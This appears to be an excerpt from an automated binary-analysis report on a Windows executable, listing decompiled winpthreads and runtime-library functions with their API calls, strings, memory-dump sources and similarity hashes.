						if( *(_t43 + 0x10) > 0) {
							goto L22;
						} else {
							__eflags =  *(_t72 + 0x20) & 0x00000003;
							if(( *(_t72 + 0x20) & 0x00000003) == 0) {
								goto L22;
							} else {
								__eflags =  *(_t72 + 0x24) & 0x00000001;
								_t44 = 1;
								if(( *(_t72 + 0x24) & 0x00000001) == 0) {
									goto L22;
								} else {
								}
							}
						}
					}
				} else {
					L22:
					_t44 = 0;
					__eflags = 0;
				}
				return _t44;
			}

0x004385a0
0x004385a0
0x004385a1
0x004385a2
0x004385a5
0x004385a9
0x004385ae
0x004385b0
0x004385b3
0x004385bb
0x00438630
0x00438630
0x004385c1
0x004385c7
0x004385ce
0x004386d0
0x004386d8
0x004386e0
0x004386e7
0x004386ec
0x004386ec
0x004385d6
0x004385d9
0x004385de
0x004385e3
0x004385e5
0x0043861b
0x0043861b
0x00000000
0x004385e7
0x004385ec
0x00438695
0x0043869b
0x0043869e
0x004386a0
0x004386a2
0x004386a5
0x004386aa
0x004386aa
0x004386b3
0x004386ba
0x004386bd
0x004386bf
0x00438665
0x00438665
0x0043866a
0x0043866c
0x00438700
0x00438708
0x00438710
0x00438717
0x0043871c
0x0043871c
0x00438672
0x0043867c
0x0043867f
0x00438687
0x0043d4e0
0x0043d4e0
0x004386c1
0x004386c1
0x004386c3
0x00000000
0x004386c3
0x004386bf
0x004385f2
0x004385f5
0x004385fc
0x00438601
0x00438603
0x00438606
0x0043860b
0x0043860b
0x00438612
0x00438619
0x00438643
0x00438649
0x0043864c
0x00438657
0x0043865a
0x00438661
0x00438663
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00438619
0x004385e5
0x00438726
0x00438726
0x00438729
0x00438731
0x00438734
0x00438740
0x00438743
0x00438748
0x0043874a
0x00438785
0x0043878d
0x00438795
0x0043879c
0x004387a1
0x004387a1
0x0043874e
0x00438750
0x00438760
0x00438765
0x00438767
0x00438769
0x00000000
0x0043876b
0x0043876e
0x00438770
0x00000000
0x00438772
0x00438772
0x00438776
0x00000000
0x00438778
0x00438778
0x0043877c
0x00438781
0x00000000
0x00000000
0x00438783
0x00438781
0x00438776
0x00438770
0x00438752
0x00438752
0x00438752
0x00438752
0x00438752
0x00438757

APIs

Part of subcall function 00436AF0: TlsGetValue.KERNEL32(?,?,?,?,?,?,?,004382C7), ref: 00436B1F

TlsGetValue.KERNEL32 ref: 004385D9
CloseHandle.KERNEL32 ref: 00438606

Strings

_pthread_tls_shmem, xrefs: 004386E0, 00438710

Memory Dump Source

Source File: 00000006.00000002.569466866.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.569459495.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.569612083.00000000004EE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.569618790.00000000004EF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.569635128.00000000004FF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.569635128.0000000000502000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.569650610.0000000000503000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.569650610.0000000000506000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.569650610.00000000007FF000.00000008.00000001.01000000.00000003.sdmpDownload File

Similarity

API ID: Value$CloseHandle
String ID: _pthread_tls_shmem
API String ID: 152943319-3306369367
Opcode ID: 0ab1959d0feb96cedbcbc06bd059713b59e07e307bad38f8eeff3e61f80de730
Instruction ID: 2dd2a8fc5ab4f0645c25caa009d1227e8052ba6b46ce59b4dc46c9181b30d69b
Opcode Fuzzy Hash: 0ab1959d0feb96cedbcbc06bd059713b59e07e307bad38f8eeff3e61f80de730
Instruction Fuzzy Hash: 08415FB0A04700CFEB14EF25D68571BBBE4AF08348F05556EE9858F356EB78D804DB9A

Uniqueness

Uniqueness Score: -1.00%

Function 00439C00 Relevance: 12.3, APIs: 2, Strings: 5, Instructions: 64COMMON

Download Yara Rule

Strings

mutex_global_shmem, xrefs: 00439C70, 00439CA1
C:/crossdev/src/winpthreads-git20150508/src/mutex.c, xrefs: 00439CC4
7, xrefs: 00439CBC
Assertion failed: (%s), file %s, line %d, xrefs: 00439CD4
(m_->valid == LIFE_MUTEX) && (m_->busy > 0), xrefs: 00439CCC

Memory Dump Source

Source File: 00000006.00000002.569466866.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.569459495.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.569612083.00000000004EE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.569618790.00000000004EF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.569635128.00000000004FF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.569635128.0000000000502000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.569650610.0000000000503000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.569650610.0000000000506000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.569650610.00000000007FF000.00000008.00000001.01000000.00000003.sdmpDownload File

Similarity

API ID:
String ID: (m_->valid == LIFE_MUTEX) && (m_->busy > 0)$7$Assertion failed: (%s), file %s, line %d$C:/crossdev/src/winpthreads-git20150508/src/mutex.c$mutex_global_shmem
API String ID: 0-2294020286
Opcode ID: ea14f078db4baa2907177413255d535b830cc1ba507d23d7c7cf80a13b9fa81c
Instruction ID: 18b7ac79861a80f11e88f793c57b6e36eb2c5a0de9640029c39ff26f7e6c6871
Opcode Fuzzy Hash: ea14f078db4baa2907177413255d535b830cc1ba507d23d7c7cf80a13b9fa81c
Instruction Fuzzy Hash: CF2141B0608301DFDB10EF29E48571ABBE4FB58358F05941EE5988B305D7B8D884DB9A

Uniqueness

Uniqueness Score: -1.00%

Function 0043C320 Relevance: 12.3, APIs: 2, Strings: 5, Instructions: 59
COMMON

Download Yara Rule

C-Code - Quality: 19%

			E0043C320(int __eax, int __edx) {
				intOrPtr _v28;
				char* _v32;
				char* _v36;
				char* _v40;
				void* _v76;
				intOrPtr _v100;
				char* _t26;
				char* _t30;
				int _t31;
				void* _t32;
				void* _t34;
				void* _t36;
				void* _t40;
				char* _t46;
				char* _t47;
				int _t53;
				void* _t55;
				void* _t61;
				void* _t66;
				int _t71;
				int _t72;
				void* _t81;
				void* _t83;
				void* _t86;
				char** _t87;
				void** _t88;

				_t62 = __edx;
				_t53 = __eax;
				_t71 = __edx;
				_t87 = _t86 - 0x24;
				_t26 =  *0x501210;
				if(_t26 == 0) {
					_v36 = 0x43c6a0;
					_v40 = 4;
					 *_t87 = "rwl_global_shmem";
					_t26 = E0043BBA0(__eflags);
					 *0x501210 = _t26;
				}
				 *_t87 = _t26;
				E0043BFB0();
				if( *((intOrPtr*)( *_t53)) != 0xbab1f0ed ||  *((intOrPtr*)( *_t53 + 4)) <= 0) {
					_v28 = 0x2e;
					_v32 = "C:/crossdev/src/winpthreads-git20150508/src/rwlock.c";
					_v36 = "(((rwlock_t *)*rwl)->valid == LIFE_RWLOCK) && (((rwlock_t *)*rwl)->busy > 0)";
					_v40 = "Assertion failed: (%s), file %s, line %d\n";
					_t30 = __imp___iob + 0x40;
					__eflags = _t30;
					 *_t87 = _t30;
					_t31 = fprintf(??, ??);
					 *_t87 = 1;
					exit(??);
					_t72 = _t31;
					_t88 = _t87 - 0x2c;
					 *_t31 = 0;
					_v100 = 0x20;
					 *_t88 = 1;
					_t32 = calloc(_t53, _t71);
					__eflags = _t32;
					if(_t32 == 0) {
						return 0xc;
					} else {
						_t13 = _t32 + 0x14; // 0x14
						_t66 = _t13;
						 *_t32 = 0xdeadb0ef;
						 *((intOrPtr*)(_t32 + 0x10)) = 0;
						 *((intOrPtr*)(_t32 + 0xc)) = 0;
						 *((intOrPtr*)(_t32 + 8)) = 0;
						_t55 = _t32;
						_v100 = 0;
						 *_t88 = _t66;
						_t34 = E00439FA0(_t61, _t62);
						__eflags = _t34;
						_t81 = _t34;
						if(_t34 != 0) {
							 *_t88 = _t55;
							free(??);
							return _t81;
						} else {
							_t18 = _t55 + 0x18; // 0x18
							_t83 = _t18;
							_v100 = 0;
							 *_t88 = _t83;
							_t36 = E00439FA0(_t61, _t62);
							__eflags = _t36;
							if(__eflags != 0) {
								_v76 = _t36;
								 *_t88 = _t66;
								goto L16;
							} else {
								_t20 = _t55 + 0x1c; // 0x1c
								_v100 = 0;
								 *_t88 = _t20;
								_t40 = E0043AF40();
								__eflags = _t40;
								if(__eflags != 0) {
									 *_t88 = _t66;
									_v76 = _t40;
									E0043A740(_t61, __eflags);
									 *_t88 = _t83;
									L16:
									E0043A740(_t61, __eflags);
									 *_t88 = _t55;
									free(??);
									return _v76;
								} else {
									 *_t55 = 0xbab1f0ed;
									 *_t72 = _t55;
									__eflags = 0;
									return 0;
								}
							}
						}
					}
				} else {
					 *((intOrPtr*)( *_t53 + 4)) =  *((intOrPtr*)( *_t53 + 4)) - 1;
					_t46 =  *0x501210;
					if(_t46 == 0) {
						_v36 = 0x43c6a0;
						_v40 = 4;
						 *_t87 = "rwl_global_shmem";
						_t47 = E0043BBA0(__eflags);
						 *_t87 = _t47;
						 *0x501210 = _t47;
						E0043C060();
						return _t71;
					} else {
						 *_t87 = _t46;
						E0043C060();
						return _t71;
					}
				}
			}

0x0043c320
0x0043c322
0x0043c324
0x0043c326
0x0043c329
0x0043c330
0x0043c3a1
0x0043c3a9
0x0043c3b1
0x0043c3b8
0x0043c3bd
0x0043c3bd
0x0043c332
0x0043c335
0x0043c342
0x0043c3cc
0x0043c3d4
0x0043c3dc
0x0043c3e4
0x0043c3ec
0x0043c3ec
0x0043c3ef
0x0043c3f2
0x0043c3f7
0x0043c3fe
0x0043c414
0x0043c416
0x0043c419
0x0043c41f
0x0043c427
0x0043c42e
0x0043c433
0x0043c435
0x0043c4cf
0x0043c43b
0x0043c43b
0x0043c43b
0x0043c43e
0x0043c444
0x0043c44b
0x0043c452
0x0043c459
0x0043c45b
0x0043c463
0x0043c466
0x0043c46b
0x0043c46d
0x0043c46f
0x0043c4b1
0x0043c4b4
0x0043c4c2
0x0043c471
0x0043c471
0x0043c471
0x0043c474
0x0043c47c
0x0043c47f
0x0043c484
0x0043c486
0x0043c4d0
0x0043c4d4
0x00000000
0x0043c488
0x0043c488
0x0043c48b
0x0043c493
0x0043c496
0x0043c49b
0x0043c49d
0x0043c4f2
0x0043c4f5
0x0043c4f9
0x0043c4fe
0x0043c4d7
0x0043c4d7
0x0043c4dc
0x0043c4df
0x0043c4f1
0x0043c49f
0x0043c49f
0x0043c4a5
0x0043c4ab
0x0043c4b0
0x0043c4b0
0x0043c49d
0x0043c486
0x0043c46f
0x0043c351
0x0043c353
0x0043c357
0x0043c35e
0x0043c370
0x0043c378
0x0043c380
0x0043c387
0x0043c38c
0x0043c38f
0x0043c394
0x0043c3a0
0x0043c360
0x0043c360
0x0043c363
0x0043c36f
0x0043c36f
0x0043c35e

Strings

(((rwlock_t *)*rwl)->valid == LIFE_RWLOCK) && (((rwlock_t *)*rwl)->busy > 0), xrefs: 0043C3DC
Assertion failed: (%s), file %s, line %d, xrefs: 0043C3E4
rwl_global_shmem, xrefs: 0043C380, 0043C3B1
., xrefs: 0043C3CC
C:/crossdev/src/winpthreads-git20150508/src/rwlock.c, xrefs: 0043C3D4

Memory Dump Source

Source File: 00000006.00000002.569466866.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.569459495.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.569612083.00000000004EE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.569618790.00000000004EF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.569635128.00000000004FF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.569635128.0000000000502000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.569650610.0000000000503000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.569650610.0000000000506000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.569650610.00000000007FF000.00000008.00000001.01000000.00000003.sdmpDownload File

Similarity

API ID: AtomMutex$CloseCreateCurrentFindHandleObjectReleaseSingleThreadWaitfreemallocmemcpystrlen
String ID: (((rwlock_t *)*rwl)->valid == LIFE_RWLOCK) && (((rwlock_t *)*rwl)->busy > 0)$.$Assertion failed: (%s), file %s, line %d$C:/crossdev/src/winpthreads-git20150508/src/rwlock.c$rwl_global_shmem
API String ID: 3812948584-3571693141
Opcode ID: 114bc64a01216010a10afb5dc246f535fd9dd7fd073271ab0629c94d2a25e01e
Instruction ID: 69e968675bc76213cd08b4be24315c88aee4d539c034ac2414849845ba73a2ed
Opcode Fuzzy Hash: 114bc64a01216010a10afb5dc246f535fd9dd7fd073271ab0629c94d2a25e01e
Instruction Fuzzy Hash: 802118B16082418FDB00EF29E48571EBBE0FF58358F05E81EE5849B311D778D898CB8A

Uniqueness

Uniqueness Score: -1.00%

Function 0043A9A0 Relevance: 10.6, APIs: 7, Instructions: 80COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32 ref: 0043A9B2
LeaveCriticalSection.KERNEL32 ref: 0043A9D6
InterlockedExchangeAdd.KERNEL32 ref: 0043AA06
ReleaseSemaphore.KERNEL32 ref: 0043AA2C
LeaveCriticalSection.KERNEL32 ref: 0043AA3B

Memory Dump Source

Source File: 00000006.00000002.569466866.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.569459495.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.569612083.00000000004EE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.569618790.00000000004EF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.569635128.00000000004FF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.569635128.0000000000502000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.569650610.0000000000503000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.569650610.0000000000506000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.569650610.00000000007FF000.00000008.00000001.01000000.00000003.sdmpDownload File

Similarity

API ID: CriticalSection$Leave$EnterExchangeInterlockedReleaseSemaphore
String ID:
API String ID: 3008583290-0
Opcode ID: 39eefa2fd8e995d4b7236330f8826f620e55f1a5a8ce1d083daafbbe7c0515ee
Instruction ID: 6652bda1ed7cfa67283dd1c3665bfb4811379c9af3ee29a79c613414e57f84b7
Opcode Fuzzy Hash: 39eefa2fd8e995d4b7236330f8826f620e55f1a5a8ce1d083daafbbe7c0515ee
Instruction Fuzzy Hash: A9214FB2A083044BD7047E7AA98521FBBE5EBC8319F051A3FE989C7341D579D858C787

Uniqueness

Uniqueness Score: -1.00%

Function 00438310 Relevance: 9.1, APIs: 6, Instructions: 84COMMON

Download Yara Rule

APIs

GetLastError.KERNEL32 ref: 0043831B

Part of subcall function 00436AF0: TlsGetValue.KERNEL32(?,?,?,?,?,?,?,004382C7), ref: 00436B1F

Part of subcall function 0043BFB0: EnterCriticalSection.KERNEL32 ref: 0043BFD3
Part of subcall function 0043BFB0: GetCurrentThreadId.KERNEL32 ref: 0043BFDB

SetLastError.KERNEL32(?,?,?,?,?,?,0000000A,?,?,0042BF13), ref: 0043835B
realloc.MSVCRT ref: 00438384
realloc.MSVCRT ref: 0043839F
memset.MSVCRT ref: 004383D0
memset.MSVCRT ref: 004383EF

Memory Dump Source

Source File: 00000006.00000002.569466866.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.569459495.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.569612083.00000000004EE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.569618790.00000000004EF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.569635128.00000000004FF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.569635128.0000000000502000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.569650610.0000000000503000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.569650610.0000000000506000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.569650610.00000000007FF000.00000008.00000001.01000000.00000003.sdmpDownload File

Similarity

API ID: ErrorLastmemsetrealloc$CriticalCurrentEnterSectionThreadValue
String ID:
API String ID: 2483718828-0
Opcode ID: 2b991ac583324c5d4f2076b08c83c9a28005ced037b12d733ed84bba57b13fdb
Instruction ID: 2d828eab537e5c03b2d72faf244a94f4981ab9897d08ff59a01e12934438311d
Opcode Fuzzy Hash: 2b991ac583324c5d4f2076b08c83c9a28005ced037b12d733ed84bba57b13fdb
Instruction Fuzzy Hash: 543106B0A083058FC704EF2AD48069EBBE4EF88358F05592EF88897311D739D845CB96

Uniqueness

Uniqueness Score: -1.00%

Function 0043B230 Relevance: 9.1, APIs: 6, Instructions: 56COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32 ref: 0043B246
InterlockedDecrement.KERNEL32 ref: 0043B255
LeaveCriticalSection.KERNEL32 ref: 0043B266
EnterCriticalSection.KERNEL32 ref: 0043B299
LeaveCriticalSection.KERNEL32 ref: 0043B2A8

Memory Dump Source

Source File: 00000006.00000002.569466866.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.569459495.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.569612083.00000000004EE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.569618790.00000000004EF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.569635128.00000000004FF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.569635128.0000000000502000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.569650610.0000000000503000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.569650610.0000000000506000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.569650610.00000000007FF000.00000008.00000001.01000000.00000003.sdmpDownload File

Similarity

API ID: CriticalSection$EnterLeave$DecrementInterlocked
String ID:
API String ID: 1781445796-0
Opcode ID: 3f64820c9508d35d7959de1756f98c0a43e87d843261d461c26acf3746c752a2
Instruction ID: 26b56c1294838656c658971b065320bf546af459f1bf5dd776ae346c46426df6
Opcode Fuzzy Hash: 3f64820c9508d35d7959de1756f98c0a43e87d843261d461c26acf3746c752a2
Instruction Fuzzy Hash: 2B012EB69083104BC700BF7AA58541FFBF4EE88318F011A7EED8587301E239D854CA87

Uniqueness

Uniqueness Score: -1.00%

Function 00439FA0 Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 101COMMON

Download Yara Rule

APIs

calloc.MSVCRT ref: 00439FCF
CreateSemaphoreA.KERNEL32 ref: 0043A02C

Strings

mutex_global_shmem, xrefs: 0043A0C0, 0043A0F0, 0043A113

Memory Dump Source

Source File: 00000006.00000002.569466866.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.569459495.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.569612083.00000000004EE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.569618790.00000000004EF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.569635128.00000000004FF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.569635128.0000000000502000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.569650610.0000000000503000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.569650610.0000000000506000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.569650610.00000000007FF000.00000008.00000001.01000000.00000003.sdmpDownload File

Similarity

API ID: CreateSemaphorecalloc
String ID: mutex_global_shmem
API String ID: 194818478-3168236926
Opcode ID: e8a91ee6741951d95c4b24459ae75f4536334de3b8cbc5e7dcaf1479026d262a
Instruction ID: 7dd052dc4d3c0f70d6b14379b13e535935c83e5abfa1dab09bfb2fa559f70b45
Opcode Fuzzy Hash: e8a91ee6741951d95c4b24459ae75f4536334de3b8cbc5e7dcaf1479026d262a
Instruction Fuzzy Hash: 12317AB06083019FE700AF25E58572BBBE0EB48358F15981EE5D88B351D77DC894DB9B

Uniqueness

Uniqueness Score: -1.00%

Function 00435DA0 Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 91COMMON

Download Yara Rule

Strings

once_obj_shmem, xrefs: 00435EA2, 00435EFC
%p not found?!?!, xrefs: 00435EC1
once_global_shmem, xrefs: 00435E59, 00435E7C

Memory Dump Source

Source File: 00000006.00000002.569466866.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.569459495.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.569612083.00000000004EE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.569618790.00000000004EF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.569635128.00000000004FF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.569635128.0000000000502000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.569650610.0000000000503000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.569650610.0000000000506000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.569650610.00000000007FF000.00000008.00000001.01000000.00000003.sdmpDownload File

Similarity

API ID:
String ID: %p not found?!?!$once_global_shmem$once_obj_shmem
API String ID: 0-1814957349
Opcode ID: 47815b744350093856f76170f4194fa3b534b1d9fccf2f1c7ae24bd6eeee1e5b
Instruction ID: 2e78075db2c5618674d934cff079e95f62e0c7551df30ba1ca0c06472ab188f8
Opcode Fuzzy Hash: 47815b744350093856f76170f4194fa3b534b1d9fccf2f1c7ae24bd6eeee1e5b
Instruction Fuzzy Hash: 20316EB0A08B01DFD714AF25D48532BBBE4AF48308F59E81FD6858B301D77C9945DB9A

Uniqueness

Uniqueness Score: -1.00%

Function 0042C640 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 74
COMMON

Download Yara Rule

C-Code - Quality: 20%

			E0042C640(void* __ebp, char* _a4) {
				char _v16;
				intOrPtr _v36;
				char* _v40;
				intOrPtr* _t15;
				intOrPtr* _t16;
				intOrPtr _t17;
				intOrPtr* _t18;
				intOrPtr* _t19;
				char _t20;
				char** _t24;
				char* _t27;
				void* _t31;
				char** _t32;

				_t31 = __ebp;
				_t32 =  &_v40;
				_t27 = _a4;
				_t28 = _t27[0xc];
				if(_t27[0xc] == 0) {
					L8:
					 *_t32 = _t27;
					return E0042C230(_t31);
				}
				_t15 =  *0x5007e8; // 0xb90da0
				if(_t15 == 0) {
					L12:
					_v36 = 0x42b890;
					_v40 = 4;
					 *_t32 = "use_fc_key";
					_t16 = E0042CC10(__eflags);
					 *0x5007e8 = _t16;
					__eflags =  *_t16;
					if(__eflags >= 0) {
						L15:
						_t17 =  *_t16;
						L3:
						if(_t17 == 0) {
							_t18 =  *0x5007f0; // 0x0
							__eflags = _t18;
							if(__eflags == 0) {
								_v36 = 0;
								_v40 = 4;
								 *_t32 = "fc_static";
								_t19 = E0042CC10(__eflags);
								 *0x5007f0 = _t19;
								_t20 =  *_t19;
							} else {
								_t20 =  *_t18;
							}
						} else {
							_t24 =  *0x5007ec; // 0xb904a0
							if(_t24 == 0) {
								_v36 = 0;
								_v40 = 4;
								 *_t32 = "fc_key";
								_t24 = E0042CC10(__eflags);
								 *0x5007ec = _t24;
							}
							 *_t32 =  *_t24;
							_t20 = E004382B0(_t28);
						}
						_v16 = _t20;
						if(E0042BBC0(_t27,  &_v16) == 7) {
							E0042BAB0();
							goto L12;
						} else {
							abort();
							goto L8;
						}
					}
					L13:
					E0042B9E0();
					_t16 =  *0x5007e8; // 0xb90da0
					__eflags = _t16;
					if(__eflags == 0) {
						_v36 = 0x42b890;
						_v40 = 4;
						 *_t32 = "use_fc_key";
						_t16 = E0042CC10(__eflags);
						 *0x5007e8 = _t16;
					}
					goto L15;
				}
				_t17 =  *_t15;
				if(_t17 < 0) {
					goto L13;
				}
				goto L3;
			}

0x0042c640
0x0042c641
0x0042c644
0x0042c648
0x0042c64d
0x0042c6a0
0x0042c6a0
0x0042c6ac
0x0042c6ac
0x0042c64f
0x0042c656
0x0042c6d0
0x0042c6d0
0x0042c6d8
0x0042c6e0
0x0042c6e7
0x0042c6ee
0x0042c6f3
0x0042c6f5
0x0042c726
0x0042c726
0x0042c662
0x0042c664
0x0042c6b0
0x0042c6b5
0x0042c6b7
0x0042c730
0x0042c738
0x0042c740
0x0042c747
0x0042c74c
0x0042c751
0x0042c6b9
0x0042c6b9
0x0042c6b9
0x0042c666
0x0042c666
0x0042c66d
0x0042c760
0x0042c768
0x0042c770
0x0042c777
0x0042c77c
0x0042c77c
0x0042c675
0x0042c678
0x0042c678
0x0042c681
0x0042c68f
0x0042c6c4
0x00000000
0x0042c691
0x0042c691
0x00000000
0x0042c691
0x0042c68f
0x0042c6f7
0x0042c6f7
0x0042c6fc
0x0042c701
0x0042c703
0x0042c705
0x0042c70d
0x0042c715
0x0042c71c
0x0042c721
0x0042c721
0x00000000
0x0042c703
0x0042c658
0x0042c65c
0x00000000
0x00000000
0x00000000

APIs

abort.MSVCRT ref: 0042C691

Strings

use_fc_key, xrefs: 0042C6E0, 0042C715
fc_static, xrefs: 0042C740
fc_key, xrefs: 0042C770

Memory Dump Source

Source File: 00000006.00000002.569466866.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.569459495.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.569612083.00000000004EE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.569618790.00000000004EF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.569635128.00000000004FF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.569635128.0000000000502000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.569650610.0000000000503000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.569650610.0000000000506000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.569650610.00000000007FF000.00000008.00000001.01000000.00000003.sdmpDownload File

Similarity

API ID: abort
String ID: fc_key$fc_static$use_fc_key
API String ID: 4206212132-2840716747
Opcode ID: 8ca43725764354c695c29e147c11743c239105381c80cf3161235c3d87259257
Instruction ID: 16e5463ec3e7e04ba0a092706142a41f234b6fb4dd2a67069b1c0f506fb26b11
Opcode Fuzzy Hash: 8ca43725764354c695c29e147c11743c239105381c80cf3161235c3d87259257
Instruction Fuzzy Hash: 6231D4B07053118FD700EF26E48171E77E4EF44348F90A81EE5898B351D778A8499FDA

Uniqueness

Uniqueness Score: -1.00%

Function 0042C520 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 69
COMMON

Download Yara Rule

C-Code - Quality: 37%

			E0042C520(intOrPtr _a4) {
				char _v16;
				char* _v36;
				intOrPtr _v40;
				intOrPtr* _t13;
				intOrPtr* _t14;
				intOrPtr* _t15;
				intOrPtr _t16;
				intOrPtr* _t17;
				intOrPtr* _t18;
				char _t19;
				intOrPtr _t20;
				void* _t21;
				char** _t23;
				intOrPtr _t26;
				void* _t29;
				void* _t31;
				char** _t32;

				_t32 =  &_v36;
				_t13 =  *0x5007e8; // 0xb90da0
				_t26 = _a4;
				if(_t13 == 0) {
					_v36 = 0x42b890;
					_v40 = 4;
					 *_t32 = "use_fc_key";
					_t14 = E0042CC10(__eflags);
					__eflags =  *_t14;
					 *0x5007e8 = _t14;
					if( *_t14 >= 0) {
						L16:
						_t15 =  *0x5007e8; // 0xb90da0
						__eflags = _t15;
						if(__eflags == 0) {
							_v36 = 0x42b890;
							_v40 = 4;
							 *_t32 = "use_fc_key";
							_t15 = E0042CC10(__eflags);
							 *0x5007e8 = _t15;
						}
						_t16 =  *_t15;
						L2:
						if(_t16 == 0) {
							L9:
							_t17 =  *0x5007f0; // 0x0
							if(_t17 == 0) {
								_v36 = 0;
								_v40 = 4;
								 *_t32 = "fc_static";
								_t18 = E0042CC10(__eflags);
								 *0x5007f0 = _t18;
								_t19 =  *_t18;
							} else {
								_t19 =  *_t17;
							}
							L5:
							_t27 =  *((intOrPtr*)(_t26 + 0xc));
							_v16 = _t19;
							_t20 = _t26;
							if( *((intOrPtr*)(_t26 + 0xc)) != 0) {
								_t21 = E0042BBC0(_t20,  &_v16);
							} else {
								_t21 = E0042B940(_t20, _t26,  &_v16, _t29,  &_v16, _t31);
							}
							if(_t21 == 7) {
								E0042BAB0();
								L13:
								_v36 = 0;
								_v40 = 4;
								 *_t32 = "fc_key";
